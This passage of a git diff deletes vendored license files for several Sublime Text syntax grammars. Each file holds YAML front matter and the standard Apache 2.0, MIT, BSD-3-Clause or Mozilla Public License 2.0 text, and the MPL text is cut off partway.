-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 Paul Ferruggiaro
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/sublime-terra.txt b/vendor/licenses/grammar/sublime-terra.txt
deleted file mode 100644
index 5cb74f8bf3..0000000000
--- a/vendor/licenses/grammar/sublime-terra.txt
+++ /dev/null
@@ -1,32 +0,0 @@
----
-type: grammar
-name: sublime-terra
-license: bsd-3-clause
----
-Copyright (c) 2016, Bayu Aldi Yansyah
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-* Redistributions of source code must retain the above copyright notice, this
-  list of conditions and the following disclaimer.
-
-* Redistributions in binary form must reproduce the above copyright notice,
-  this list of conditions and the following disclaimer in the documentation
-  and/or other materials provided with the distribution.
-
-* Neither the name of sublime-terra nor the names of its
-  contributors may be used to endorse or promote products derived from
-  this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/licenses/grammar/sublime-text-ox.txt b/vendor/licenses/grammar/sublime-text-ox.txt
deleted file mode 100644
index 61ff5a67fd..0000000000
--- a/vendor/licenses/grammar/sublime-text-ox.txt
+++ /dev/null
@@ -1,29 +0,0 @@
----
-type: grammar
-name: sublime-text-ox
-license: mit
----
-License
-------------
-
-The MIT License (MIT)
-
-Copyright (c) 2015 Andreas Hetland
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-typescript.txt b/vendor/licenses/grammar/sublime-typescript.txt
deleted file mode 100644
index 7a592b3927..0000000000
--- a/vendor/licenses/grammar/sublime-typescript.txt
+++ /dev/null
@@ -1,207 +0,0 @@
----
-type: grammar
-name: sublime-typescript
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright {yyyy} {name of copyright owner}
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
diff --git a/vendor/licenses/grammar/sublime-varnish.txt b/vendor/licenses/grammar/sublime-varnish.txt
deleted file mode 100644
index b1a2c696a7..0000000000
--- a/vendor/licenses/grammar/sublime-varnish.txt
+++ /dev/null
@@ -1,29 +0,0 @@
----
-type: grammar
-name: sublime-varnish
-license: mit
----
-The MIT License (MIT)
-=====================
-
-The MIT License (MIT)
-
-Copyright (c) 2015 Brandon Wamboldt
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime_cobol.txt b/vendor/licenses/grammar/sublime_cobol.txt
deleted file mode 100644
index 410e7d5020..0000000000
--- a/vendor/licenses/grammar/sublime_cobol.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: sublime_cobol
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 bitlang
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/sublime_man_page_support.txt b/vendor/licenses/grammar/sublime_man_page_support.txt
deleted file mode 100644
index f39a2a4e0c..0000000000
--- a/vendor/licenses/grammar/sublime_man_page_support.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: sublime_man_page_support
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2013 carsonoid
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sublimeassembly.txt b/vendor/licenses/grammar/sublimeassembly.txt
deleted file mode 100644
index 780ae22169..0000000000
--- a/vendor/licenses/grammar/sublimeassembly.txt
+++ /dev/null
@@ -1,12 +0,0 @@
----
-type: grammar
-name: sublimeassembly
-license: bsd-3-clause
-curated: true
----
-
-Copyright (c) 2015, Pavlo Malynin All rights reserved.
-
-Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Pavlo Malynin nor the names of the contributors may be used to endorse or promote products derived from this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/licenses/grammar/sublimeprolog.txt b/vendor/licenses/grammar/sublimeprolog.txt
deleted file mode 100644
index b9ec142961..0000000000
--- a/vendor/licenses/grammar/sublimeprolog.txt
+++ /dev/null
@@ -1,368 +0,0 @@
----
-type: grammar
-name: sublimeprolog
-license: mpl-2.0
----
-Mozilla Public License, version 2.0
-
-1. Definitions
-
-1.1. "Contributor"
-
-     means each individual or legal entity that creates, contributes to the
-     creation of, or owns Covered Software.
-
-1.2. "Contributor Version"
-
-     means the combination of the Contributions of others (if any) used by a
-     Contributor and that particular Contributor's Contribution.
-
-1.3. "Contribution"
-
-     means Covered Software of a particular Contributor.
-
-1.4. "Covered Software"
-
-     means Source Code Form to which the initial Contributor has attached the
-     notice in Exhibit A, the Executable Form of such Source Code Form, and
-     Modifications of such Source Code Form, in each case including portions
-     thereof.
-
-1.5. "Incompatible With Secondary Licenses"
-     means
-
-     a. that the initial Contributor has attached the notice described in
-        Exhibit B to the Covered Software; or
-
-     b. that the Covered Software was made available under the terms of
-        version 1.1 or earlier of the License, but not also under the terms of
-        a Secondary License.
-
-1.6. "Executable Form"
-
-     means any form of the work other than Source Code Form.
-
-1.7. "Larger Work"
-
-     means a work that combines Covered Software with other material, in a
-     separate file or files, that is not Covered Software.
-
-1.8. "License"
-
-     means this document.
-
-1.9. "Licensable"
-
-     means having the right to grant, to the maximum extent possible, whether
-     at the time of the initial grant or subsequently, any and all of the
-     rights conveyed by this License.
-
-1.10. "Modifications"
-
-     means any of the following:
-
-     a. any file in Source Code Form that results from an addition to,
-        deletion from, or modification of the contents of Covered Software; or
-
-     b. any new file in Source Code Form that contains any Covered Software.
-
-1.11. "Patent Claims" of a Contributor
-
-      means any patent claim(s), including without limitation, method,
-      process, and apparatus claims, in any patent Licensable by such
-      Contributor that would be infringed, but for the grant of the License,
-      by the making, using, selling, offering for sale, having made, import,
-      or transfer of either its Contributions or its Contributor Version.
-
-1.12. "Secondary License"
-
-      means either the GNU General Public License, Version 2.0, the GNU Lesser
-      General Public License, Version 2.1, the GNU Affero General Public
-      License, Version 3.0, or any later versions of those licenses.
-
-1.13. "Source Code Form"
-
-      means the form of the work preferred for making modifications.
-
-1.14. "You" (or "Your")
-
-      means an individual or a legal entity exercising rights under this
-      License. For legal entities, "You" includes any entity that controls, is
-      controlled by, or is under common control with You. For purposes of this
-      definition, "control" means (a) the power, direct or indirect, to cause
-      the direction or management of such entity, whether by contract or
-      otherwise, or (b) ownership of more than fifty percent (50%) of the
-      outstanding shares or beneficial ownership of such entity.
-
-
-2. License Grants and Conditions
-
-2.1. Grants
-
-     Each Contributor hereby grants You a world-wide, royalty-free,
-     non-exclusive license:
-
-     a. under intellectual property rights (other than patent or trademark)
-        Licensable by such Contributor to use, reproduce, make available,
-        modify, display, perform, distribute, and otherwise exploit its
-        Contributions, either on an unmodified basis, with Modifications, or
-        as part of a Larger Work; and
-
-     b. under Patent Claims of such Contributor to make, use, sell, offer for
-        sale, have made, import, and otherwise transfer either its
-        Contributions or its Contributor Version.
-
-2.2. Effective Date
-
-     The licenses granted in Section 2.1 with respect to any Contribution
-     become effective for each Contribution on the date the Contributor first
-     distributes such Contribution.
-
-2.3. Limitations on Grant Scope
-
-     The licenses granted in this Section 2 are the only rights granted under
-     this License. No additional rights or licenses will be implied from the
-     distribution or licensing of Covered Software under this License.
-     Notwithstanding Section 2.1(b) above, no patent license is granted by a
-     Contributor:
-
-     a. for any code that a Contributor has removed from Covered Software; or
-
-     b. for infringements caused by: (i) Your and any other third party's
-        modifications of Covered Software, or (ii) the combination of its
-        Contributions with other software (except as part of its Contributor
-        Version); or
-
-     c. under Patent Claims infringed by Covered Software in the absence of
-        its Contributions.
-
-     This License does not grant any rights in the trademarks, service marks,
-     or logos of any Contributor (except as may be necessary to comply with
-     the notice requirements in Section 3.4).
-
-2.4. Subsequent Licenses
-
-     No Contributor makes additional grants as a result of Your choice to
-     distribute the Covered Software under a subsequent version of this
-     License (see Section 10.2) or under the terms of a Secondary License (if
-     permitted under the terms of Section 3.3).
-
-2.5. Representation
-
-     Each Contributor represents that the Contributor believes its
-     Contributions are its original creation(s) or it has sufficient rights to
-     grant the rights to its Contributions conveyed by this License.
-
-2.6. Fair Use
-
-     This License is not intended to limit any rights You have under
-     applicable copyright doctrines of fair use, fair dealing, or other
-     equivalents.
-
-2.7. Conditions
-
-     Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in
